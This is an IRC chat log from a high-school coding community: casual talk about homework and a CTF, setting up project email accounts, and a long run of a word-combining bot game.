[2015-01-03T03:26:01-0500] <bob_twinkles> wassat?
[2015-01-03T03:26:12-0500] <bob_twinkles> but one of the problems was a .net binary
[2015-01-03T03:26:13-0500] <nezorg> something which I'm about to get
[2015-01-03T03:26:22-0500] <bob_twinkles> and I found the exploitation vector
[2015-01-03T03:26:24-0500] <bob_twinkles> and I had a fix
[2015-01-03T03:26:42-0500] <bob_twinkles> just the mono [dis]assembler was shit and couldn't even reassemble it's own output
[2015-01-03T03:26:47-0500] <bob_twinkles> >_<
[2015-01-03T03:26:55-0500] <nezorg> solution: patch mono!
[2015-01-03T03:27:00-0500] <ubuntor> lol
[2015-01-03T03:27:01-0500] <Tamini_> nezorg: its midnight whoa
[2015-01-03T03:27:05-0500] <Tamini_> really late for you
[2015-01-03T03:27:10-0500] <nezorg> yeah
[2015-01-03T03:27:21-0500] <Tamini_> i thought you were going to play with shellphish :P
[2015-01-03T03:27:22-0500] <nezorg> school's almost about to start
[2015-01-03T03:27:25-0500] <bob_twinkles> heh, I don't know enough about the CLR to fix mono
[2015-01-03T03:27:27-0500] <Tamini_> did you back out?
[2015-01-03T03:27:27-0500] <bob_twinkles> =(
[2015-01-03T03:27:31-0500] <Tamini_> and ah, true.
[2015-01-03T03:27:37-0500] <nezorg> Tamini_: decided I like sleep!
[2015-01-03T03:27:39-0500] <Tamini_> i'm still way behind on homework and stuff
[2015-01-03T03:27:43-0500] <ubuntor> you should have played tho
[2015-01-03T03:27:49-0500] <Tamini_> nezorg: you like sleep too much! :P
[2015-01-03T03:27:50-0500] <nezorg> I have apush notes to do
[2015-01-03T03:27:53-0500] <Tamini_> pshhh
[2015-01-03T03:28:00-0500] <ubuntor> ew, apush
[2015-01-03T03:28:02-0500] <Tamini_> apush should be ez for someone like you B)
[2015-01-03T03:28:03-0500] <nezorg> and some lit terms' examples to analyze
[2015-01-03T03:28:08-0500] <Tamini_> oh ew lol
[2015-01-03T03:28:10-0500] <Tamini_> i have latin
[2015-01-03T03:28:20-0500] <Tamini_> nezorg: pls send help creative is hard :<
[2015-01-03T03:28:26-0500] <nezorg> Tamini_: you clearly overestimate my abilities
[2015-01-03T03:28:33-0500] <Tamini_> you are literally god
[2015-01-03T03:28:46-0500] <Tamini_> right? :P
[2015-01-03T03:28:51-0500] <nezorg> seriously I don't get why people think this
[2015-01-03T03:29:01-0500] <nezorg> or even say that
[2015-01-03T03:29:45-0500] <nezorg> http://www.smbc-comics.com/index.php?db=comics&id=1585#comic lol
[2015-01-03T03:31:48-0500] <Tamini_> ooh, smbc <3
[2015-01-03T03:31:53-0500] <Tamini_> i have so much to do
[2015-01-03T03:31:59-0500] <Tamini_> and so little time left
[2015-01-03T03:32:01-0500] <Tamini_> this is awful
[2015-01-03T03:32:13-0500] <Tamini_> im not sure whether i should write one sleep
[2015-01-03T03:32:19-0500] <Tamini_> which one is more a waste of time? >.<
[2015-01-03T03:32:38-0500] <nezorg> you should read smbc
[2015-01-03T03:35:24-0500] <nezorg> man reading some webcomics can be depressing
[2015-01-03T03:35:29-0500] <nezorg> ...not smbc :P
[2015-01-03T03:35:33-0500] <nezorg> but others
[2015-01-03T03:42:02-0500] <nezorg> well I'm going to sleep
[2015-01-03T03:42:07-0500] <nezorg> g'night
[2015-01-03T03:43:27-0500] <Tamini_> lol
[2015-01-03T03:43:29-0500] <Tamini_> gnight
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[2015-01-03T09:07:22-0500] <+JacobEdelman> gmorning
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[2015-01-03T11:50:36-0500] <@awe> [03:26:42]  <bob_twinkles>	just the mono [dis]assembler was shit and couldn't even reassemble it's own output
[2015-01-03T11:51:04-0500] <@awe> bob_twinkles: there's a few full-featured .NET reflectors.
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[2015-01-03T12:50:44-0500] <The_Master> @list
[2015-01-03T12:50:45-0500] <alchemy> You have: aaron, air, alok, alokmini, ashley, backstroke, blackhat, boat, chivalry, cloud, computer, crops, earth, einstein, electricity, energy, engine, ent, euler, evil
[2015-01-03T12:50:45-0500] <alchemy> You have: fire, fireman, food, friendship, genius, gmo, google, hacker, hal, hardmath, hole, house, ice, internet, jacob, joy, knight, lava, light, lightning
[2015-01-03T12:50:45-0500] <alchemy> You have: lightsaber, limerick, linux, love, loveletter, man, math, megamind, mel, metal, mountain, mutant, neanderthal, nexorg, ninja, ocean, olaf, paper, pdgn, penguin
[2015-01-03T12:50:45-0500] <alchemy> You have: plant, pool, puddle, python, rain, rainbow, restaurant, robot, rust, sandstorm, science, sculpture, sentience, server, ship, snow, snowman, soil, starship, steam
[2015-01-03T12:50:45-0500] <alchemy> You have: stone, sword, sysadmin, thunder, tool, tornado, torvalds, tree, tsunami, villain, war, water, whitehat, whitespace, wind, wood, xkcd
[2015-01-03T12:50:45-0500] <alchemy> That's 97 out of 136!
[2015-01-03T12:51:29-0500] <The_Master> @refresh
[2015-01-03T12:51:29-0500] <alchemy> Refreshing...
[2015-01-03T12:51:30-0500] <alchemy> Done.
[2015-01-03T12:51:32-0500] <The_Master> @list
[2015-01-03T12:51:33-0500] <alchemy> You have: aaron, air, alok, alokmini, ashley, backstroke, blackhat, boat, chivalry, cloud, computer, crops, earth, einstein, electricity, energy, engine, ent, euler, evil
[2015-01-03T12:51:33-0500] <alchemy> You have: fire, fireman, food, friendship, genius, gmo, google, hacker, hal, hardmath, hole, house, ice, internet, jacob, joy, knight, lava, light, lightning
[2015-01-03T12:51:33-0500] <alchemy> You have: lightsaber, limerick, linux, love, loveletter, man, math, megamind, mel, metal, mountain, mutant, neanderthal, nexorg, ninja, ocean, olaf, paper, pdgn, penguin
[2015-01-03T12:51:33-0500] <alchemy> You have: plant, pool, puddle, python, rain, rainbow, restaurant, robot, rust, sandstorm, science, sculpture, sentience, server, ship, snow, snowman, soil, starship, steam
[2015-01-03T12:51:33-0500] <alchemy> You have: stone, sword, sysadmin, thunder, tool, tornado, torvalds, tree, tsunami, villain, war, water, whitehat, whitespace, wind, wood, xkcd
[2015-01-03T12:51:33-0500] <alchemy> That's 97 out of 137!
[2015-01-03T12:52:33-0500] <alokpathy> @refresh
[2015-01-03T12:52:34-0500] <alchemy> Refreshing...
[2015-01-03T12:52:34-0500] <alchemy> Done.
[2015-01-03T12:52:36-0500] <alokpathy> @list
[2015-01-03T12:52:36-0500] <alchemy> You have: aaron, air, alok, alokmini, ashley, backstroke, blackhat, boat, chivalry, cloud, computer, crops, earth, einstein, electricity, energy, engine, ent, euler, evil
[2015-01-03T12:52:36-0500] <alchemy> You have: fire, fireman, food, friendship, genius, gmo, google, hacker, hal, hardmath, hole, house, ice, internet, jacob, joy, knight, lava, light, lightning
[2015-01-03T12:52:36-0500] <alchemy> You have: lightsaber, limerick, linux, love, loveletter, man, math, megamind, mel, metal, mountain, mutant, neanderthal, nexorg, ninja, ocean, olaf, paper, pdgn, penguin
[2015-01-03T12:52:36-0500] <alchemy> You have: plant, pool, puddle, python, rain, rainbow, restaurant, robot, rust, sandstorm, science, sculpture, sentience, server, ship, snow, snowman, soil, starship, steam
[2015-01-03T12:52:36-0500] <alchemy> You have: stone, sword, sysadmin, thunder, tool, tornado, torvalds, tree, tsunami, villain, war, water, whitehat, whitespace, wind, wood, xkcd
[2015-01-03T12:52:36-0500] <alchemy> That's 97 out of 137!
[2015-01-03T12:52:39-0500] <alokpathy> Alright
[2015-01-03T12:52:40-0500] <alokpathy> hm
[2015-01-03T12:52:50-0500] <alokpathy> @combine hacker lightsaber
[2015-01-03T12:52:50-0500] <alchemy> hacker and lightsaber don't make anything exciting.
[2015-01-03T12:52:53-0500] <alokpathy> Well I'm done.
[2015-01-03T12:53:10-0500] <The_Master> @combine man lightsaber
[2015-01-03T12:53:11-0500] <alchemy> man and lightsaber don't make anything exciting.
[2015-01-03T12:57:14-0500] <+hardmath123> The_Master: (I added ezra.)
[2015-01-03T12:58:01-0500] <The_Master> hardmath123: I should let other people make it, right?
[2015-01-03T12:58:23-0500] <+hardmath123> whatever you want
[2015-01-03T12:58:56-0500] <alokpathy> @possible ezra
[2015-01-03T12:58:56-0500] <alchemy> Yeah, you can make ezra.
[2015-01-03T12:59:01-0500] <The_Master> hardmath123: I will wait for someone else to do it
[2015-01-03T12:59:04-0500] <alokpathy> @combine pdgn jacob
[2015-01-03T12:59:04-0500] <alchemy> pdgn and jacob don't make anything exciting.
[2015-01-03T12:59:54-0500] <The_Master> alokpathy: I came to existence before Jacob...
[2015-01-03T13:00:42-0500] <alokpathy> Clearly.
[2015-01-03T13:06:32-0500] <+JacobEdelman> awe: do you have control of the hscs.io emails?
[2015-01-03T13:06:42-0500] <@awe> Yeah
[2015-01-03T13:06:46-0500] <@awe> Well, depends.
[2015-01-03T13:06:49-0500] <@awe> What do you mean?
[2015-01-03T13:07:06-0500] <+JacobEdelman> can you add michael@hscs.io
[2015-01-03T13:07:58-0500] <@awe> And sent the emails to?
[2015-01-03T13:09:03-0500] <+JacobEdelman> failed.down@gmail.com
[2015-01-03T13:09:24-0500] <+JacobEdelman> (this is for another person who is joining hscs.io)
[2015-01-03T13:09:46-0500] <+JacobEdelman> pm me the password/info stuff I should give him so he can send from their
[2015-01-03T13:09:48-0500] <+JacobEdelman> *there
[2015-01-03T13:10:44-0500] <+JacobEdelman> thanks
[2015-01-03T13:29:34-0500] <@awe> JacobEdelman: o
[2015-01-03T13:29:38-0500] <@awe> JacobEdelman: I'm in charge of HSCTF
[2015-01-03T13:29:46-0500] <@awe> JacobEdelman: I can do HSCS.io though, I think.
[2015-01-03T13:29:56-0500] <@awe> Assuming that's under Alok's account
[2015-01-03T13:29:59-0500] <@awe> Which it is.
[2015-01-03T13:30:05-0500] <+JacobEdelman> okay
[2015-01-03T13:30:11-0500] <+JacobEdelman> we should transfer them later
[2015-01-03T13:30:13-0500] <+JacobEdelman> although not now
[2015-01-03T13:30:36-0500] <@awe> Transfer which one where?
[2015-01-03T13:30:37-0500] <@awe> HSCTF?
[2015-01-03T13:30:41-0500] <@awe> to Alok's?
[2015-01-03T13:30:44-0500] <@awe> or HSCS.io to mine?
[2015-01-03T13:32:50-0500] <+JacobEdelman> hscs.io to me or alok
[2015-01-03T13:32:52-0500] <+JacobEdelman> wait
[2015-01-03T13:32:59-0500] <+JacobEdelman> I meant hsctf to me or alok I mean
[2015-01-03T13:40:47-0500] <@awe> Alok will be out of high school soon
[2015-01-03T13:40:49-0500] <@awe> and then so will you.
[2015-01-03T13:57:37-0500] <+JacobEdelman> well, I still have a few years left
[2015-01-03T13:57:39-0500] <+JacobEdelman> 2
[2015-01-03T13:58:13-0500] <alokpathy> 1.5*
[2015-01-03T13:58:29-0500] <alokpathy> It comes faster than you think.
[2015-01-03T13:58:29-0500] <alokpathy> It = graduation
[2015-01-03T13:59:00-0500] <+JacobEdelman> true
[2015-01-03T13:59:03-0500] <+JacobEdelman> also
[2015-01-03T13:59:11-0500] <+JacobEdelman> lark 0.0.3 is out
[2015-01-03T13:59:14-0500] <+JacobEdelman> it is usable now!
[2015-01-03T13:59:22-0500] <+JacobEdelman> I made multiplication , programmed in lark!
[2015-01-03T14:03:17-0500] <+hardmath123> JacobEdelman: is it on npm?
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[2015-01-03T14:06:06-0500] <alokpathy> Welcome Tamini_ 
[2015-01-03T14:06:10-0500] <Tamini_> heyhey
[2015-01-03T14:06:14-0500] <Tamini_> @list
[2015-01-03T14:06:15-0500] <alchemy> You have: aaron, air, alok, alokmini, ashley, backstroke, blackhat, boat, chivalry, cloud, computer, crops, earth, einstein, electricity, energy, engine, ent, euler, evil
[2015-01-03T14:06:16-0500] <alchemy> You have: fire, fireman, food, friendship, genius, gmo, google, hacker, hal, hardmath, hole, house, ice, internet, jacob, joy, knight, lava, light, lightning
[2015-01-03T14:06:16-0500] <alchemy> You have: lightsaber, limerick, linux, love, loveletter, man, math, megamind, mel, metal, mountain, mutant, neanderthal, nexorg, ninja, ocean, olaf, paper, pdgn, penguin
[2015-01-03T14:06:16-0500] <alchemy> You have: plant, pool, puddle, python, rain, rainbow, restaurant, robot, rust, sandstorm, science, sculpture, sentience, server, ship, snow, snowman, soil, starship, steam
[2015-01-03T14:06:16-0500] <alchemy> You have: stone, sword, sysadmin, thunder, tool, tornado, torvalds, tree, tsunami, villain, war, water, whitehat, whitespace, wind, wood, xkcd
[2015-01-03T14:06:16-0500] <alchemy> That's 97 out of 137!
[2015-01-03T14:06:24-0500] <Tamini_> @combine blackhat computer
[2015-01-03T14:06:25-0500] <alchemy> blackhat and computer don't make anything exciting.
[2015-01-03T14:06:36-0500] <Tamini_> @combine blackhat whitehat
[2015-01-03T14:06:37-0500] <alchemy> blackhat and whitehat don't make anything exciting.
[2015-01-03T14:06:45-0500] <Tamini_> @combine hacker computer
[2015-01-03T14:06:46-0500] <alchemy> hacker and computer don't make anything exciting.
[2015-01-03T14:06:50-0500] <Tamini_> @hinf
[2015-01-03T14:06:53-0500] <Tamini_> @hint
[2015-01-03T14:06:54-0500] <alchemy> Nope.
[2015-01-03T14:07:06-0500] <alokpathy> @hiny
[2015-01-03T14:07:09-0500] <alokpathy> @hint
[2015-01-03T14:07:09-0500] <alchemy> Hint: It's possible to make sysadmin with man!
[2015-01-03T14:07:11-0500] <alokpathy> @hint
[2015-01-03T14:07:12-0500] <alchemy> Giving up already? Give it a real try.
[2015-01-03T14:07:13-0500] <alokpathy> @hint
[2015-01-03T14:07:14-0500] <alchemy> Nope.
[2015-01-03T14:07:15-0500] <alokpathy> @hint
[2015-01-03T14:07:15-0500] <alchemy> Nope.
[2015-01-03T14:07:16-0500] <alokpathy> @hint
[2015-01-03T14:07:16-0500] <alchemy> Not on your life.
[2015-01-03T14:07:17-0500] <alokpathy> @hint
[2015-01-03T14:07:17-0500] <alchemy> Giving up already? Give it a real try.
[2015-01-03T14:07:18-0500] <alokpathy> @hint
[2015-01-03T14:07:18-0500] <alchemy> Not on your life.
[2015-01-03T14:07:19-0500] <alokpathy> @hint
[2015-01-03T14:07:19-0500] <alchemy> Hint: It's possible to make light with energy!
[2015-01-03T14:07:20-0500] <alokpathy> @hint
[2015-01-03T14:07:20-0500] <alchemy> Hint: It's possible to make pidgey with pidgeon!
[2015-01-03T14:07:21-0500] <alokpathy> @hint
[2015-01-03T14:07:21-0500] <alchemy> Not on your life.
[2015-01-03T14:07:28-0500] <alokpathy> @hint
[2015-01-03T14:07:28-0500] <alchemy> You'll be happier if you get it yourself.
[2015-01-03T14:07:30-0500] <alokpathy> @hint
[2015-01-03T14:07:30-0500] <alchemy> Not on your life.
[2015-01-03T14:07:31-0500] <alokpathy> @hint
[2015-01-03T14:07:31-0500] <alchemy> You'll be happier if you get it yourself.
[2015-01-03T14:07:33-0500] <alokpathy> @hint
[2015-01-03T14:07:33-0500] <alchemy> Hint: It's possible to make christmas with snow!
[2015-01-03T14:07:34-0500] <alokpathy> @hint
[2015-01-03T14:07:34-0500] <alchemy> Hint: It's possible to make christmas with snow!
[2015-01-03T14:07:38-0500] <alokpathy> lolol
[2015-01-03T14:07:40-0500] <alokpathy> @list
[2015-01-03T14:07:40-0500] <alchemy> You have: aaron, air, alok, alokmini, ashley, backstroke, blackhat, boat, chivalry, cloud, computer, crops, earth, einstein, electricity, energy, engine, ent, euler, evil
[2015-01-03T14:07:40-0500] <alchemy> You have: fire, fireman, food, friendship, genius, gmo, google, hacker, hal, hardmath, hole, house, ice, internet, jacob, joy, knight, lava, light, lightning
[2015-01-03T14:07:40-0500] <alchemy> You have: lightsaber, limerick, linux, love, loveletter, man, math, megamind, mel, metal, mountain, mutant, neanderthal, nexorg, ninja, ocean, olaf, paper, pdgn, penguin
[2015-01-03T14:07:40-0500] <alchemy> You have: plant, pool, puddle, python, rain, rainbow, restaurant, robot, rust, sandstorm, science, sculpture, sentience, server, ship, snow, snowman, soil, starship, steam
[2015-01-03T14:07:40-0500] <alchemy> You have: stone, sword, sysadmin, thunder, tool, tornado, torvalds, tree, tsunami, villain, war, water, whitehat, whitespace, wind, wood, xkcd
[2015-01-03T14:07:40-0500] <alchemy> That's 97 out of 137!
[2015-01-03T14:07:47-0500] <alokpathy> @possible holiday
[2015-01-03T14:07:48-0500] <alchemy> No, you can't make holiday.
[2015-01-03T14:07:57-0500] <alokpathy> @combine snow tree
[2015-01-03T14:07:58-0500] <alchemy> You just discovered christmas (snow + tree)!
[2015-01-03T14:08:01-0500] <alokpathy> Oh nice xD
[2015-01-03T14:08:05-0500] <alokpathy> @combine christmas man
[2015-01-03T14:08:06-0500] <alchemy> You just discovered santa (christmas + man)!
[2015-01-03T14:08:08-0500] <alokpathy> woo
[2015-01-03T14:08:17-0500] <alokpathy> @list
[2015-01-03T14:08:18-0500] <alchemy> You have: aaron, air, alok, alokmini, ashley, backstroke, blackhat, boat, chivalry, christmas, cloud, computer, crops, earth, einstein, electricity, energy, engine, ent, euler
[2015-01-03T14:08:18-0500] <alchemy> You have: evil, fire, fireman, food, friendship, genius, gmo, google, hacker, hal, hardmath, hole, house, ice, internet, jacob, joy, knight, lava, light
[2015-01-03T14:08:18-0500] <alchemy> You have: lightning, lightsaber, limerick, linux, love, loveletter, man, math, megamind, mel, metal, mountain, mutant, neanderthal, nexorg, ninja, ocean, olaf, paper, pdgn
[2015-01-03T14:08:18-0500] <alchemy> You have: penguin, plant, pool, puddle, python, rain, rainbow, restaurant, robot, rust, sandstorm, santa, science, sculpture, sentience, server, ship, snow, snowman, soil
[2015-01-03T14:08:18-0500] <alchemy> You have: starship, steam, stone, sword, sysadmin, thunder, tool, tornado, torvalds, tree, tsunami, villain, war, water, whitehat, whitespace, wind, wood, xkcd
[2015-01-03T14:08:18-0500] <alchemy> That's 99 out of 137!
[2015-01-03T14:08:20-0500] <The_Master> @combine evil pidgeon
[2015-01-03T14:08:21-0500] <alchemy> You don't have pidgeon!
[2015-01-03T14:08:33-0500] <alokpathy> Almost 100 :o
[2015-01-03T14:08:36-0500] <The_Master> evil pidgeon=pidgey!
[2015-01-03T14:09:00-0500] <The_Master> @combine penguin air
[2015-01-03T14:09:00-0500] <alchemy> penguin and air don't make anything exciting.
[2015-01-03T14:09:14-0500] <The_Master> @combine penguin ship
[2015-01-03T14:09:14-0500] <alchemy> penguin and ship don't make anything exciting.
[2015-01-03T14:09:20-0500] <The_Master> @combine life ship
[2015-01-03T14:09:21-0500] <alchemy> You don't have life!
[2015-01-03T14:09:31-0500] <The_Master> @combine sentience ship
[2015-01-03T14:09:31-0500] <alchemy> You just discovered kitt (sentience + ship)!
[2015-01-03T14:09:37-0500] <+hardmath123> kitt <3
[2015-01-03T14:09:48-0500] <The_Master> @combine sentience air
[2015-01-03T14:09:49-0500] <alchemy> You just discovered pidgeon (sentience + air)!
[2015-01-03T14:09:55-0500] <The_Master> @combine evil pidgeon
[2015-01-03T14:09:56-0500] <alchemy> You just discovered pidgey (evil + pidgeon)!
[2015-01-03T14:10:02-0500] <Tamini_> omg kitt
[2015-01-03T14:10:03-0500] <Tamini_> lol
[2015-01-03T14:10:04-0500] <The_Master> YAY!!!
[2015-01-03T14:10:07-0500] <Tamini_> LOL
[2015-01-03T14:10:13-0500] <Tamini_> evil pidgeon srs :P
[2015-01-03T14:10:30-0500] <+hardmath123> man The_Master you're good at this
[2015-01-03T14:10:32-0500] <Tamini_> @combine christmas joy
[2015-01-03T14:10:32-0500] <alchemy> christmas and joy don't make anything exciting.
[2015-01-03T14:10:59-0500] <Tamini_> The_Master: ezra, now find time
[2015-01-03T14:11:57-0500] <The_Master> @combine energy paper
[2015-01-03T14:11:57-0500] <alchemy> energy and paper don't make anything exciting.
[2015-01-03T14:12:06-0500] <The_Master> @combine internet cloud
[2015-01-03T14:12:07-0500] <alchemy> internet and cloud don't make anything exciting.
[2015-01-03T14:12:30-0500] <The_Master> @hint
[2015-01-03T14:12:30-0500] <alchemy> Nope.
[2015-01-03T14:12:43-0500] <alokpathy> woo
[2015-01-03T14:13:02-0500] <alokpathy> Oh I thought I tried sentience with everything XD
[2015-01-03T14:13:06-0500] <alokpathy> @combine sentience python
[2015-01-03T14:13:07-0500] <alchemy> sentience and python don't make anything exciting.
[2015-01-03T14:13:08-0500] <alokpathy> Dang
[2015-01-03T14:13:10-0500] <The_Master> hardmath123: can you make hint give hints after you solve the previous hint?
[2015-01-03T14:13:10-0500] <alokpathy> @list
[2015-01-03T14:13:11-0500] <alchemy> You have: aaron, air, alok, alokmini, ashley, backstroke, blackhat, boat, chivalry, christmas, cloud, computer, crops, earth, einstein, electricity, energy, engine, ent, euler
[2015-01-03T14:13:11-0500] <alchemy> You have: evil, fire, fireman, food, friendship, genius, gmo, google, hacker, hal, hardmath, hole, house, ice, internet, jacob, joy, kitt, knight, lava
[2015-01-03T14:13:11-0500] <alchemy> You have: light, lightning, lightsaber, limerick, linux, love, loveletter, man, math, megamind, mel, metal, mountain, mutant, neanderthal, nexorg, ninja, ocean, olaf, paper
[2015-01-03T14:13:11-0500] <alchemy> You have: pdgn, penguin, pidgeon, pidgey, plant, pool, puddle, python, rain, rainbow, restaurant, robot, rust, sandstorm, santa, science, sculpture, sentience, server, ship
[2015-01-03T14:13:11-0500] <alchemy> You have: snow, snowman, soil, starship, steam, stone, sword, sysadmin, thunder, tool, tornado, torvalds, tree, tsunami, villain, war, water, whitehat, whitespace, wind
[2015-01-03T14:13:11-0500] <alchemy> You have: wood, xkcd
[2015-01-03T14:13:11-0500] <alchemy> That's 102 out of 137!
[2015-01-03T14:13:16-0500] <alokpathy> @hint
[2015-01-03T14:13:17-0500] <alchemy> Hint: It's possible to make crops with soil!
[2015-01-03T14:13:20-0500] <alokpathy> @hint
[2015-01-03T14:13:21-0500] <alchemy> Hint: It's possible to make knuth with genius!
[2015-01-03T14:13:24-0500] <Tamini_> @hint
[2015-01-03T14:13:25-0500] <alchemy> Hint: It's possible to make penguin with snow!
[2015-01-03T14:13:30-0500] <Tamini_> @combine python genius
[2015-01-03T14:13:30-0500] <alchemy> python and genius don't make anything exciting.
[2015-01-03T14:13:34-0500] <The_Master> hardmath123: also don't give hints about what we know?
[2015-01-03T14:13:35-0500] <alokpathy> @combine genius computer
[2015-01-03T14:13:36-0500] <alchemy> genius and computer don't make anything exciting.
[2015-01-03T14:13:36-0500] <Tamini_> oh, its no longer 10%
[2015-01-03T14:13:44-0500] <alokpathy> Tamini_: Much more, lol
[2015-01-03T14:13:47-0500] <Tamini_> @combine whitespace genius
[2015-01-03T14:13:48-0500] <alchemy> whitespace and genius don't make anything exciting.
[2015-01-03T14:13:52-0500] <alokpathy> @combine genius man
[2015-01-03T14:13:53-0500] <Tamini_> @hint
[2015-01-03T14:13:53-0500] <alchemy> genius and man don't make anything exciting.
[2015-01-03T14:13:54-0500] <alchemy> Not this time!
[2015-01-03T14:13:56-0500] <Tamini_> @hint
[2015-01-03T14:13:57-0500] <alchemy> Hint: It's possible to make pidgeon with air!
[2015-01-03T14:13:58-0500] <alokpathy> @hint
[2015-01-03T14:13:59-0500] <alchemy> Hint: It's possible to make exploit with bug!
[2015-01-03T14:14:02-0500] <alokpathy> @hint
[2015-01-03T14:14:02-0500] <alchemy> You'll be happier if you get it yourself.
[2015-01-03T14:14:03-0500] <alokpathy> @hint
[2015-01-03T14:14:04-0500] <alchemy> Giving up already? Give it a real try.
[2015-01-03T14:14:05-0500] <alokpathy> @hint
[2015-01-03T14:14:06-0500] <alchemy> Giving up already? Give it a real try.
[2015-01-03T14:14:07-0500] <Tamini_> hardmath123: whats the chance?
[2015-01-03T14:14:07-0500] <alokpathy> @hint
[2015-01-03T14:14:08-0500] <alchemy> Hint: It's possible to make webdev with hacker!
[2015-01-03T14:14:11-0500] <alokpathy> Hmm
[2015-01-03T14:14:13-0500] <Tamini_> @combine earth sentience
[2015-01-03T14:14:13-0500] <+JacobEdelman> @combine air pdgn
[2015-01-03T14:14:13-0500] <alchemy> You already combined earth and sentience to get man.
[2015-01-03T14:14:14-0500] <alokpathy> @combine hacker internet
[2015-01-03T14:14:14-0500] <alchemy> air and pdgn don't make anything exciting.
[2015-01-03T14:14:16-0500] <alchemy> hacker and internet don't make anything exciting.
[2015-01-03T14:14:17-0500] <+JacobEdelman> @combine air pidgey
[2015-01-03T14:14:17-0500] <alchemy> air and pidgey don't make anything exciting.
[2015-01-03T14:14:19-0500] <The_Master> @combine hacker internet
[2015-01-03T14:14:20-0500] <alchemy> hacker and internet don't make anything exciting.
[2015-01-03T14:14:23-0500] <The_Master> @combine hacker server
[2015-01-03T14:14:24-0500] <alchemy> hacker and server don't make anything exciting.
[2015-01-03T14:14:24-0500] <Tamini_> @combine hacker python
[2015-01-03T14:14:25-0500] <alchemy> hacker and python don't make anything exciting.
[2015-01-03T14:14:30-0500] <alokpathy> @possible html
[2015-01-03T14:14:31-0500] <alchemy> No, you can't make html.
[2015-01-03T14:14:31-0500] <Tamini_> @combine hacker computer
[2015-01-03T14:14:32-0500] <alchemy> hacker and computer don't make anything exciting.
[2015-01-03T14:14:36-0500] <The_Master> @combine hacker sysadmin
[2015-01-03T14:14:37-0500] <alchemy> hacker and sysadmin don't make anything exciting.
[2015-01-03T14:14:37-0500] <Tamini_> @combine server man
[2015-01-03T14:14:38-0500] <alchemy> You already combined server and man to get sysadmin.
[2015-01-03T14:14:41-0500] <Tamini_> @himt
[2015-01-03T14:14:44-0500] <Tamini_> @hint
[2015-01-03T14:14:45-0500] <alchemy> Not this time!
[2015-01-03T14:14:47-0500] <Tamini_> @hint
[2015-01-03T14:14:48-0500] <alchemy> Hint: It's possible to make friendship with man!
[2015-01-03T14:14:51-0500] <Tamini_> @hint
[2015-01-03T14:14:52-0500] <alchemy> Nope.
[2015-01-03T14:14:54-0500] <Tamini_> @hint
[2015-01-03T14:14:55-0500] <alchemy> Not this time!
[2015-01-03T14:14:58-0500] <Tamini_> @hint
[2015-01-03T14:14:58-0500] <alchemy> Hint: It's possible to make paper with tree!
[2015-01-03T14:15:03-0500] <Tamini_> come on dude
[2015-01-03T14:15:05-0500] <Tamini_> @hint
[2015-01-03T14:15:06-0500] <alchemy> Hint: It's possible to make hofstader with bach!
[2015-01-03T14:15:10-0500] <Tamini_> :O
[2015-01-03T14:15:11-0500] <The_Master> @combine hacker computer
[2015-01-03T14:15:11-0500] <alchemy> hacker and computer don't make anything exciting.
[2015-01-03T14:15:17-0500] <Tamini_> Goedel edcher bach <3
[2015-01-03T14:15:19-0500] <+JacobEdelman> @list
[2015-01-03T14:15:19-0500] <Tamini_> hardmath123:
[2015-01-03T14:15:20-0500] <alchemy> You have: aaron, air, alok, alokmini, ashley, backstroke, blackhat, boat, chivalry, christmas, cloud, computer, crops, earth, einstein, electricity, energy, engine, ent, euler
[2015-01-03T14:15:20-0500] <alchemy> You have: evil, fire, fireman, food, friendship, genius, gmo, google, hacker, hal, hardmath, hole, house, ice, internet, jacob, joy, kitt, knight, lava
[2015-01-03T14:15:20-0500] <alchemy> You have: light, lightning, lightsaber, limerick, linux, love, loveletter, man, math, megamind, mel, metal, mountain, mutant, neanderthal, nexorg, ninja, ocean, olaf, paper
[2015-01-03T14:15:20-0500] <alchemy> You have: pdgn, penguin, pidgeon, pidgey, plant, pool, puddle, python, rain, rainbow, restaurant, robot, rust, sandstorm, santa, science, sculpture, sentience, server, ship
[2015-01-03T14:15:20-0500] <alchemy> You have: snow, snowman, soil, starship, steam, stone, sword, sysadmin, thunder, tool, tornado, torvalds, tree, tsunami, villain, war, water, whitehat, whitespace, wind
[2015-01-03T14:15:20-0500] <alchemy> You have: wood, xkcd
[2015-01-03T14:15:20-0500] <alchemy> That's 102 out of 137!
[2015-01-03T14:15:29-0500] <Tamini_> bach + book probably
[2015-01-03T14:15:32-0500] <Tamini_> we need to find music
[2015-01-03T14:15:33-0500] <+JacobEdelman> @possible godel
[2015-01-03T14:15:34-0500] <alchemy> No, you can't make godel.
[2015-01-03T14:15:38-0500] <+JacobEdelman> @possible escher
[2015-01-03T14:15:38-0500] <alchemy> No, you can't make escher.
[2015-01-03T14:15:41-0500] <+JacobEdelman> @possible mcescher
[2015-01-03T14:15:41-0500] <alchemy> No, you can't make mcescher.
[2015-01-03T14:15:46-0500] <+JacobEdelman> @combine math bach
[2015-01-03T14:15:46-0500] <alchemy> You don't have bach!
[2015-01-03T14:15:53-0500] <The_Master> @combine * *
[2015-01-03T14:15:54-0500] <alchemy> You don't have *!
[2015-01-03T14:15:55-0500] <+hardmath123> Tamini_: hint probability is 0.8 i think
[2015-01-03T14:15:56-0500] <alokpathy> @hint
[2015-01-03T14:15:56-0500] <alchemy> Giving up already? Give it a real try.
[2015-01-03T14:15:59-0500] <The_Master> @combine 
[2015-01-03T14:16:00-0500] <Tamini_> @hint
[2015-01-03T14:16:00-0500] <alchemy> Hint: It's possible to make hofstader with hacker!
[2015-01-03T14:16:03-0500] <The_Master> @combine    
[2015-01-03T14:16:04-0500] <Tamini_> oh
[2015-01-03T14:16:05-0500] <Tamini_> Lol
[2015-01-03T14:16:07-0500] <+JacobEdelman> ah, hacker+bach
[2015-01-03T14:16:08-0500] <Tamini_> hacker + bach
[2015-01-03T14:16:08-0500] <alokpathy> @possible boook
[2015-01-03T14:16:08-0500] <alokpathy> @possible book
[2015-01-03T14:16:09-0500] <Tamini_> yea
[2015-01-03T14:16:10-0500] <alchemy> No, you can't make boook.
[2015-01-03T14:16:10-0500] <+JacobEdelman> make's sense
[2015-01-03T14:16:11-0500] <alchemy> No, you can't make book.
[2015-01-03T14:16:13-0500] <Tamini_> @hint
[2015-01-03T14:16:14-0500] <alchemy> You'll be happier if you get it yourself.
[2015-01-03T14:16:16-0500] <Tamini_> @hint
[2015-01-03T14:16:17-0500] <alchemy> Hint: It's possible to make pingu with mutant!
[2015-01-03T14:16:23-0500] <+hardmath123> The_Master: that isn't even a legit regex! :P
[2015-01-03T14:16:25-0500] <Tamini_> penguin+mutant
[2015-01-03T14:16:25-0500] <alokpathy> LOL
